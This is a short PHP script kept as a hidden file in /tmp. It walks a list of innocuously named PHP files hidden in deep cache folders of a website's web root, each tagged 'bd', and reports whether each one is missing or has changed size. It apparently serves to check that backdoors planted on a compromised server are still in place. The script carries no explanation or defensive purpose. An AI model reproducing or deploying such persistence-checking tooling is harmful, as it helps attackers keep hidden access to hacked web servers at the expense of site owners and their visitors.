File: //tmp/.flg
<?php $r = '/home/httpd/html/xdudes.com'; $x = ["/cache/0/0/1/3/5/bar.transfer.php"=>"bd@@440231@@958",
"/cache/0/0/1/f/f/insertfile.php"=>"bd@@440240@@584",
"/cache/0/0/2/0/5/minibrowser.php"=>"bd@@440253@@1011",
"/cache/0/0/3/9/6/medals.inc.php"=>"bd@@440262@@969",
"/cache/0/0/2/6/7/admin.admin.html.php"=>"bd@@341235@@663",
"/cache/0/0/3/b/e/class.filter.php"=>"bd@@349288@@661",
"/cache/0/0/5/5/2/ConfigDef.php"=>"bd@@349396@@624",
"/cache/0/0/5/1/0/News.php"=>"bd@@440276@@855",
"/cache/0/0/2/5/5/googleresult.php"=>"bd@@349145@@827",
"/cache/0/0/5/c/9/auth_xoops.php"=>"bd@@341243@@644"]; foreach ($x as $p => $l) { $f = "{$r}{$p}"; list($t, $id, $pt) = explode('@@', $l); if (!file_exists($f)) { print "<$t>{$id}##d</$t>\n"; continue; } if (is_numeric($pt)) { $fs = filesize($f); if ($fs != $pt) { print "<$t>{$id}##bs</$t>\n"; } } else { $c = file_get_contents($f); if (!strstr($c, $pt)) { print "<$t>{$id}##d</$t>\n"; } } } die('!end!');